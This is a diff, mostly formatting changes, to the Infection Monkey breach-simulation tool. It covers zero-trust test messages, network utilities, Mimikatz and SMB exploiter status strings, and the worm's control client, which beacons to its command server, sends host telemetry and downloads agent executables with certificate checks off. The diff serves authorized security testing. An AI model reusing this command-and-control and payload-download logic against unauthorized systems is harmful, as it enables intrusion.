STATUS_FAILED:"Monkey accessed ElasticSearch instances. Limit access to data by " + "encrypting it in in-transit.", + STATUS_PASSED:"Monkey didn't find open ElasticSearch instances. If you have such " + "instances, look for alerts " + "that indicate attempts to access them. ", }, - PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, - PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY, + PILLARS_KEY:[DATA], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_DATA_ENDPOINT_HTTP: { - TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.", - STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate " - "attempts to access them. ", + TEST_DATA_ENDPOINT_HTTP:{ + TEST_EXPLANATION_KEY:"The Monkey scanned for unencrypted access to HTTP " "servers.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_FAILED:"Monkey accessed HTTP servers. Limit access to data by encrypting it in" + " in-transit.", + STATUS_PASSED:"Monkey didn't find open HTTP servers. If you have such servers, " + "look for alerts that indicate " + "attempts to access them. ", }, - PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, - PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY, + PILLARS_KEY:[DATA], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_DATA_ENDPOINT_POSTGRESQL: { - TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to PostgreSQL servers.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey accessed PostgreSQL servers. Limit access to data by encrypting it in in-transit.", - STATUS_PASSED: "Monkey didn't find open PostgreSQL servers. If you have such servers, look for alerts that " - "indicate attempts to access them. ", + TEST_DATA_ENDPOINT_POSTGRESQL:{ + TEST_EXPLANATION_KEY:"The Monkey scanned for unencrypted access to " "PostgreSQL servers.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_FAILED:"Monkey accessed PostgreSQL servers. Limit access to data by encrypting" + " it in in-transit.", + STATUS_PASSED:"Monkey didn't find open PostgreSQL servers. If you have such servers, " + "look for alerts that " + "indicate attempts to access them. ", }, - PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, - PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY, + PILLARS_KEY:[DATA], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_TUNNELING: { - TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - " - "restrict them. " + TEST_TUNNELING:{ + TEST_EXPLANATION_KEY:"The Monkey tried to tunnel traffic using other monkeys.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_FAILED:"Monkey tunneled its traffic using other monkeys. Your network policies " + "are too permissive - " + "restrict them. " }, - PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, - PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED], + PRINCIPLE_KEY:PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, + PILLARS_KEY:[NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED], }, - TEST_COMMUNICATE_AS_NEW_USER: { - TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - " - "restrict them to MAC only.", - STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network.", + TEST_COMMUNICATE_AS_NEW_USER:{ + TEST_EXPLANATION_KEY:"The Monkey tried to create a new user and communicate " + "with the internet from it.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_FAILED:"Monkey caused a new user to access the network. Your network policies " + "are too permissive - " + "restrict them to MAC only.", + STATUS_PASSED:"Monkey wasn't able to cause a new user to access the network.", }, - PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, - PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY:PRINCIPLE_USERS_MAC_POLICIES, + PILLARS_KEY:[PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES: { - TEST_EXPLANATION_KEY: "ScoutSuite assessed cloud firewall rules and settings.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found overly permissive firewall rules.", - STATUS_PASSED: "ScoutSuite found no problems with cloud firewall rules.", + TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES:{ + TEST_EXPLANATION_KEY:"ScoutSuite assessed cloud firewall rules and settings.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_FAILED:"ScoutSuite found overly permissive firewall rules.", + STATUS_PASSED:"ScoutSuite found no problems with cloud firewall rules.", }, - PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, - PILLARS_KEY: [NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY:PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, + PILLARS_KEY:[NETWORKS], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_UNENCRYPTED_DATA: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for resources containing unencrypted data.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found resources with unencrypted data.", - STATUS_PASSED: "ScoutSuite found no resources with unencrypted data.", + TEST_SCOUTSUITE_UNENCRYPTED_DATA:{ + TEST_EXPLANATION_KEY:"ScoutSuite searched for resources containing " "unencrypted data.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_FAILED:"ScoutSuite found resources with unencrypted data.", + STATUS_PASSED:"ScoutSuite found no resources with unencrypted data.", }, - PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, - PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY, + PILLARS_KEY:[DATA], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_DATA_LOSS_PREVENTION: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for resources which are not protected against data loss.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found resources not protected against data loss.", - STATUS_PASSED: "ScoutSuite found that all resources are secured against data loss.", + TEST_SCOUTSUITE_DATA_LOSS_PREVENTION:{ + TEST_EXPLANATION_KEY:"ScoutSuite searched for resources which are not " + "protected against data loss.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_FAILED:"ScoutSuite found resources not protected against data loss.", + STATUS_PASSED:"ScoutSuite found that all resources are secured against data loss.", }, - PRINCIPLE_KEY: PRINCIPLE_DISASTER_RECOVERY, - PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY:PRINCIPLE_DISASTER_RECOVERY, + PILLARS_KEY:[DATA], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_SECURE_AUTHENTICATION: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for issues related to users' authentication.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found issues related to users' authentication.", - STATUS_PASSED: "ScoutSuite found no issues related to users' authentication.", + TEST_SCOUTSUITE_SECURE_AUTHENTICATION:{ + TEST_EXPLANATION_KEY:"ScoutSuite searched for issues related to users' " "authentication.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_FAILED:"ScoutSuite found issues related to users' authentication.", + STATUS_PASSED:"ScoutSuite found no issues related to users' authentication.", }, - PRINCIPLE_KEY: PRINCIPLE_SECURE_AUTHENTICATION, - PILLARS_KEY: [PEOPLE, WORKLOADS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY:PRINCIPLE_SECURE_AUTHENTICATION, + PILLARS_KEY:[PEOPLE, WORKLOADS], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_RESTRICTIVE_POLICIES: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for permissive user access policies.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found permissive user access policies.", - STATUS_PASSED: "ScoutSuite found no issues related to user access policies.", + TEST_SCOUTSUITE_RESTRICTIVE_POLICIES:{ + TEST_EXPLANATION_KEY:"ScoutSuite searched for permissive user access " "policies.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_FAILED:"ScoutSuite found permissive user access policies.", + STATUS_PASSED:"ScoutSuite found no issues related to user access policies.", }, - PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, - PILLARS_KEY: [PEOPLE, WORKLOADS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY:PRINCIPLE_USERS_MAC_POLICIES, + PILLARS_KEY:[PEOPLE, WORKLOADS], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_LOGGING: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for issues, related to logging.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found logging issues.", - STATUS_PASSED: "ScoutSuite found no logging issues.", + TEST_SCOUTSUITE_LOGGING:{ + TEST_EXPLANATION_KEY:"ScoutSuite searched for issues, related to logging.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_FAILED:"ScoutSuite found logging issues.", + STATUS_PASSED:"ScoutSuite found no logging issues.", }, - PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING, - PILLARS_KEY: [AUTOMATION_ORCHESTRATION, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY:PRINCIPLE_MONITORING_AND_LOGGING, + PILLARS_KEY:[AUTOMATION_ORCHESTRATION, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_SERVICE_SECURITY: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for service security issues.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found service security issues.", - STATUS_PASSED: "ScoutSuite found no service security issues.", + TEST_SCOUTSUITE_SERVICE_SECURITY:{ + TEST_EXPLANATION_KEY:"ScoutSuite searched for service security issues.", + FINDING_EXPLANATION_BY_STATUS_KEY:{ + STATUS_FAILED:"ScoutSuite found service security issues.", + STATUS_PASSED:"ScoutSuite found no service security issues.", }, - PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING, - PILLARS_KEY: [DEVICES, NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY:PRINCIPLE_MONITORING_AND_LOGGING, + PILLARS_KEY:[DEVICES, NETWORKS], + POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, } @@ -284,13 +315,13 @@ EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK) PILLARS_TO_TESTS = { - DATA: [], - PEOPLE: [], - NETWORKS: [], - DEVICES: [], - WORKLOADS: [], - VISIBILITY_ANALYTICS: [], - AUTOMATION_ORCHESTRATION: [], + DATA:[], + PEOPLE:[], + NETWORKS:[], + DEVICES:[], + WORKLOADS:[], + VISIBILITY_ANALYTICS:[], + AUTOMATION_ORCHESTRATION:[], } PRINCIPLES_TO_TESTS = {} diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 581c4bf7735..34a41527258 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -99,7 +99,7 @@ def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle addresses = ip_range.split("-") if len(addresses) != 2: raise ValueError( - "Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20" % ip_range + "Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20" % ip_range ) self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses] elif (lower_end_ip is not None) and (higher_end_ip is not None): @@ -112,8 +112,8 @@ def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip) if self._higher_end_ip_num < self._lower_end_ip_num: raise ValueError( - "Higher end IP %s is smaller than lower end IP %s" - % (self._lower_end_ip, self._higher_end_ip) + "Higher end IP %s is smaller than lower end IP %s" + % (self._lower_end_ip, self._higher_end_ip) ) def __repr__(self): @@ -159,7 +159,8 @@ def ip_found(self): @staticmethod def string_to_host(string_): """ - Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip + Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name + and ip :param string_: String that was entered in "Scan IP/subnet list" :return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com) """ @@ -176,8 +177,8 @@ def string_to_host(string_): domain_name = string_ except socket.error: LOG.error( - "Your specified host: {} is not found as a domain name and" - " it's not an IP address".format(string_) + "Your specified host: {} is not found as a domain name and" + " it's not an IP address".format(string_) ) return None, string_ # If a string_ was entered instead of IP we presume that it was domain name and translate it diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py index 6aa5076ae75..2b01d197426 100644 --- a/monkey/common/network/network_utils.py +++ b/monkey/common/network/network_utils.py @@ -4,8 +4,10 @@ def get_host_from_network_location(network_location: str) -> str: """ - URL structure is ":///;?#" (https://tools.ietf.org/html/rfc1808.html) - And the net_loc is ":@:" (https://tools.ietf.org/html/rfc1738#section-3.1) + URL structure is ":///;?#" ( + https://tools.ietf.org/html/rfc1808.html) + And the net_loc is ":@:" ( + https://tools.ietf.org/html/rfc1738#section-3.1) :param network_location: server network location :return: host part of the network location """ diff --git a/monkey/common/network/segmentation_utils.py b/monkey/common/network/segmentation_utils.py index 9bbaabf1d35..d48c005cbbe 100644 --- a/monkey/common/network/segmentation_utils.py +++ b/monkey/common/network/segmentation_utils.py @@ -14,8 +14,10 @@ def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet): def get_ip_if_in_subnet(ip_addresses, subnet): """ :param ip_addresses: IP address list. - :param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange - :return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None. + :param subnet: Subnet to check if one of ip_addresses is in there. This is + common.network.network_range.NetworkRange + :return: The first IP in ip_addresses which is in the subnet if there is one, otherwise + returns None. """ for ip_address in ip_addresses: if subnet.is_in_range(ip_address): diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index c911ed7804c..c30ab36f815 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -14,27 +14,29 @@ class ScanStatus(Enum): class UsageEnum(Enum): SMB = { - ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.", - ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR.", + ScanStatus.USED.value:"SMB exploiter ran the monkey by creating a service via MS-SCMR.", + ScanStatus.SCANNED.value:"SMB exploiter failed to run the monkey by creating a service " + "via MS-SCMR.", } MIMIKATZ = { - ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.", - ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed.", + ScanStatus.USED.value:"Windows module loader was used to load Mimikatz DLL.", + ScanStatus.SCANNED.value:"Monkey tried to load Mimikatz DLL, but failed.", } MIMIKATZ_WINAPI = { - ScanStatus.USED.value: "WinAPI was called to load mimikatz.", - ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz.", + ScanStatus.USED.value:"WinAPI was called to load mimikatz.", + ScanStatus.SCANNED.value:"Monkey tried to call WinAPI to load mimikatz.", } DROPPER = { - ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot." + ScanStatus.USED.value:"WinAPI was used to mark monkey files for deletion on next boot." } SINGLETON_WINAPI = { - ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.", - ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton" - " for monkey process wasn't successful.", + ScanStatus.USED.value:"WinAPI was called to acquire system singleton for monkey's " + "process.", + ScanStatus.SCANNED.value:"WinAPI call to acquire system singleton" + " for monkey process wasn't successful.", } DROPPER_WINAPI = { - ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot." + ScanStatus.USED.value:"WinAPI was used to mark monkey files for deletion on next boot." } diff --git a/monkey/common/utils/mongo_utils.py b/monkey/common/utils/mongo_utils.py index a7654873832..73f0dd9f705 100644 --- a/monkey/common/utils/mongo_utils.py +++ b/monkey/common/utils/mongo_utils.py @@ -35,8 +35,8 @@ def fix_obj_for_mongo(o): # objectSid property of ds_user is problematic and need this special treatment. # ISWbemObjectEx interface. Class Uint8Array ? if ( - str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) - == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}" + str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) + == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}" ): return o.Value except Exception: diff --git a/monkey/common/version.py b/monkey/common/version.py index 4070fc2f6e4..228163e9af0 100644 --- a/monkey/common/version.py +++ b/monkey/common/version.py @@ -1,4 +1,5 @@ -# To get the version from shell, run `python ./version.py` (see `python ./version.py -h` for details). +# To get the version from shell, run `python ./version.py` (see `python ./version.py -h` for +# details). import argparse from pathlib import Path @@ -17,7 +18,8 @@ def get_version(build=BUILD): def print_version(): parser = argparse.ArgumentParser() parser.add_argument( - "-b", "--build", default=BUILD, help="Choose the build string for this version.", type=str + "-b", "--build", default=BUILD, help="Choose the build string for this version.", + type=str ) args = parser.parse_args() print(get_version(args.build)) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 7aeaccee2a6..ffdea551eb1 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -227,7 +227,8 @@ def get_exploit_user_password_or_hash_product(self): @staticmethod def hash_sensitive_data(sensitive_data): """ - Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is + Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data + plain-text, as the log is saved on client machines plain-text. :param sensitive_data: the data to hash. diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 4ccd2bec4f8..cc98c5e6d02 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -23,7 +23,6 @@ __author__ = "hoffer" - requests.packages.urllib3.disable_warnings() LOG = logging.getLogger(__name__) @@ -32,7 +31,8 @@ PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s" # random number greater than 5, -# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere. +# to prevent the monkey from just waiting forever to try and connect to an island before going +# elsewhere. TIMEOUT_IN_SECONDS = 15 @@ -52,32 +52,32 @@ def wakeup(parent=None, has_internet_access=None): has_internet_access = check_internet_access(WormConfiguration.internet_services) monkey = { - "guid": GUID, - "hostname": hostname, - "ip_addresses": local_ips(), - "description": " ".join(platform.uname()), - "internet_access": has_internet_access, - "config": WormConfiguration.as_dict(), - "parent": parent, + "guid":GUID, + "hostname":hostname, + "ip_addresses":local_ips(), + "description":" ".join(platform.uname()), + "internet_access":has_internet_access, + "config":WormConfiguration.as_dict(), + "parent":parent, } if ControlClient.proxies: monkey["tunnel"] = ControlClient.proxies.get("https") requests.post( - "https://%s/api/monkey" % (WormConfiguration.current_server,), # noqa: DUO123 - data=json.dumps(monkey), - headers={"content-type": "application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=20, + "https://%s/api/monkey" % (WormConfiguration.current_server,), # noqa: DUO123 + data=json.dumps(monkey), + headers={"content-type":"application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=20, ) @staticmethod def find_server(default_tunnel=None): LOG.debug( - "Trying to wake up with Monkey Island servers list: %r" - % WormConfiguration.command_servers + "Trying to wake up with Monkey Island servers list: %r" + % WormConfiguration.command_servers ) if default_tunnel: LOG.debug("default_tunnel: %s" % (default_tunnel,)) @@ -93,10 +93,10 @@ def find_server(default_tunnel=None): debug_message += " through proxies: %s" % ControlClient.proxies LOG.debug(debug_message) requests.get( - f"https://{server}/api?action=is-up", # noqa: DUO123 - verify=False, - proxies=ControlClient.proxies, - timeout=TIMEOUT_IN_SECONDS, + f"https://{server}/api?action=is-up", # noqa: DUO123 + verify=False, + proxies=ControlClient.proxies, + timeout=TIMEOUT_IN_SECONDS, ) WormConfiguration.current_server = current_server break @@ -131,17 +131,18 @@ def keepalive(): if ControlClient.proxies: monkey["tunnel"] = ControlClient.proxies.get("https") requests.patch( - "https://%s/api/monkey/%s" - % (WormConfiguration.current_server, GUID), # noqa: DUO123 - data=json.dumps(monkey), - headers={"content-type": "application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, + "https://%s/api/monkey/%s" + % (WormConfiguration.current_server, GUID), # noqa: DUO123 + data=json.dumps(monkey), + headers={"content-type":"application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, ) except Exception as exc: LOG.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + "Error connecting to control server %s: %s", WormConfiguration.current_server, + exc ) return {} @@ -149,23 +150,25 @@ def keepalive(): def send_telemetry(telem_category, json_data: str): if not WormConfiguration.current_server: LOG.error( - "Trying to send %s telemetry before current server is established, aborting." - % telem_category + "Trying to send %s telemetry before current server is established, aborting." + % telem_category ) return try: - telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data} + telemetry = {"monkey_guid":GUID, "telem_category":telem_category, "data":json_data} requests.post( - "https://%s/api/telemetry" % (WormConfiguration.current_server,), # noqa: DUO123 - data=json.dumps(telemetry), - headers={"content-type": "application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, + "https://%s/api/telemetry" % (WormConfiguration.current_server,), + # noqa: DUO123 + data=json.dumps(telemetry), + headers={"content-type":"application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, ) except Exception as exc: LOG.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + "Error connecting to control server %s: %s", WormConfiguration.current_server, + exc ) @staticmethod @@ -173,18 +176,19 @@ def send_log(log): if not WormConfiguration.current_server: return try: - telemetry = {"monkey_guid": GUID, "log": json.dumps(log)} + telemetry = {"monkey_guid":GUID, "log":json.dumps(log)} requests.post( - "https://%s/api/log" % (WormConfiguration.current_server,), # noqa: DUO123 - data=json.dumps(telemetry), - headers={"content-type": "application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, + "https://%s/api/log" % (WormConfiguration.current_server,), # noqa: DUO123 + data=json.dumps(telemetry), + headers={"content-type":"application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, ) except Exception as exc: LOG.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + "Error connecting to control server %s: %s", WormConfiguration.current_server, + exc ) @staticmethod @@ -193,32 +197,33 @@ def load_control_config(): return try: reply = requests.get( - "https://%s/api/monkey/%s" - % (WormConfiguration.current_server, GUID), # noqa: DUO123 - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, + "https://%s/api/monkey/%s" + % (WormConfiguration.current_server, GUID), # noqa: DUO123 + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, ) except Exception as exc: LOG.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + "Error connecting to control server %s: %s", WormConfiguration.current_server, + exc ) return try: unknown_variables = WormConfiguration.from_kv(reply.json().get("config")) LOG.info( - "New configuration was loaded from server: %r" - % (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),) + "New configuration was loaded from server: %r" + % (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),) ) except Exception as exc: # we don't continue with default conf here because it might be dangerous LOG.error( - "Error parsing JSON reply from control server %s (%s): %s", - WormConfiguration.current_server, - reply._content, - exc, + "Error parsing JSON reply from control server %s (%s): %s", + WormConfiguration.current_server, + reply._content, + exc, ) raise Exception("Couldn't load from from server's configuration, aborting. %s" % exc) @@ -231,17 +236,18 @@ def send_config_error(): return try: requests.patch( - "https://%s/api/monkey/%s" - % (WormConfiguration.current_server, GUID), # noqa: DUO123 - data=json.dumps({"config_error": True}), - headers={"content-type": "application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, + "https://%s/api/monkey/%s" + % (WormConfiguration.current_server, GUID), # noqa: DUO123 + data=json.dumps({"config_error":True}), + headers={"content-type":"application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, ) except Exception as exc: LOG.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + "Error connecting to control server %s: %s", WormConfiguration.current_server, + exc ) return {} @@ -260,7 +266,7 @@ def download_monkey_exe(host): @staticmethod def download_monkey_exe_by_os(is_windows, is_32bit): filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict( - ControlClient.spoof_host_os_info(is_windows, is_32bit) + ControlClient.spoof_host_os_info(is_windows, is_32bit) ) if filename is None: return None @@ -281,7 +287,7 @@ def spoof_host_os_info(is_windows, is_32bit): else: arch = "x86_64" - return {"os": {"type": os, "machine": arch}} + return {"os":{"type":os, "machine":arch}} @staticmethod def download_monkey_exe_by_filename(filename, size): @@ -293,11 +299,11 @@ def download_monkey_exe_by_filename(filename, size): return dest_file else: download = requests.get( - "https://%s/api/monkey/download/%s" - % (WormConfiguration.current_server, filename), # noqa: DUO123 - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, + "https://%s/api/monkey/download/%s" + % (WormConfiguration.current_server, filename), # noqa: DUO123 + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, ) with monkeyfs.open(dest_file, "wb") as file_obj: @@ -310,7 +316,8 @@ def download_monkey_exe_by_filename(filename, size): except Exception as exc: LOG.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + "Error connecting to control server %s: %s", WormConfiguration.current_server, + exc ) @staticmethod @@ -323,13 +330,13 @@ def get_monkey_exe_filename_and_size_by_host_dict(host_dict): return None, None try: reply = requests.post( - "https://%s/api/monkey/download" - % (WormConfiguration.current_server,), # noqa: DUO123 - data=json.dumps(host_dict), - headers={"content-type": "application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=LONG_REQUEST_TIMEOUT, + "https://%s/api/monkey/download" + % (WormConfiguration.current_server,), # noqa: DUO123 + data=json.dumps(host_dict), + headers={"content-type":"application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=LONG_REQUEST_TIMEOUT, ) if 200 == reply.status_code: result_json = reply.json() @@ -343,7 +350,8 @@ def get_monkey_exe_filename_and_size_by_host_dict(host_dict): except Exception as exc: LOG.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + "Error connecting to control server %s: %s", WormConfiguration.current_server, + exc ) return None, None @@ -371,10 +379,11 @@ def create_control_tunnel(): def get_pba_file(filename): try: return requests.get( - PBA_FILE_DOWNLOAD % 